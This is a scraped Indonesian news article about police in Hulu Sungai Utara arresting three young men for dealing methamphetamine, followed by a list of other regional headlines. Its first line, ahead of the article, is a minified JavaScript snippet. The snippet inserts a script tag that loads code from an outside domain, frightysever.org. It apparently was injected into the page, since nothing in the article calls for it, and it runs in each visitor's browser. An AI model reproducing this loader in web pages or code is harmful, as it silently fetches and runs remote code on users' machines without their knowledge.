(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Tiga Pemuda Pengedar Sabu di Amuntai Dibekuk


KANALKALIMANTAN.COM, AMUNTAI – Tiga pemuda pengedar narkotika jenis sabu Ad (25), Ar (19) dan Rd (29) di Amuntai diringkus Satuan Reserse Narkoba Polres Hulu Sungai Utara (HSU).

Ketiga tersangka berhasil ditangkap masing-masing di tempat yang berbeda pada Jumat (23/4/2021)

Dari tangan tersangka Ad berhasil diamankan sabu dengan berat keseluruhan 0,71 gram -berat bersih 0,11 gram.

 

Sedangkan dari tangan tersangka Ar dan Rd ditemukan sabu dengan berat keseluruhan 2,05 gram -berat bersih 1,12 gram-.

Baca juga: Mabuk, Seorang Pria di Banjarmasin Tega Aniaya dan Seret Ibu Kandungnya

Kapolres HSU AKBP Afri Darmawan SIK MH melalui Kasat Resnarkoba Iptu Siswadi, kepada kanalkalimantan.com, Senin (26/4/2021) membenarkan pengungkapan dua kasus narkotika yang menyeret tiga orang itu.

Dari informasi, penangkapan ketiga tersangka sendiri dilakukan di tempat berbeda.

Tersangka Ad, warga Desa Tangga Ulin Hilir, Kecamatan Amuntai Tengah, berhasil dibekuk petugas yang menyamar menjadi pembeli saat berada di Pasar Induk Amuntai.

Menyusul kemudian tersangka Ar dan Rd, keduanya dibekuk saat berada di dalam rumah tersangka Ar di Jalan Keramat RT 001 Desa Pakacangan, Kecamatan Amuntai Utara.

Baca juga: Bupati Banjar Terima Bantuan dari UPZ Bank Kalsel

“Posisi Ad berperan sebagai kurir, waktu dilakukan pemeriksaan ternyata Ad membeli narkotika di tempat Ar dan Rd,” jelas Kasat Narkoba Polres HSU.

Atas kejadian tersebut ketiga tersangka bersama barang bukti digelandang ke tahanan Mapolres HSU guna proses penyidikan lebih lanjut.

Selain paket sabu, anggota Sat Resnarkoba juga mengamankan barang bukti lainnya seperti sebuah kotak rokok, sedotan plastik, pipet kaca, sebuah bong dari botol plastik, timbangan digital warna silver, tas selempang, satu pak plastik piper klip, sebuah handphone, dan uang tunai sebesar Rp 950 ribu.

Atas pengungkapan kasus narkotika ini, ketiga pemuda dijerat pasal 114 ayat 1 atau 112 ayat 1 UU RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Al Ghifari

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

6 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

6 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

6 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

11 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

13 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

14 jam ago

This website uses cookies.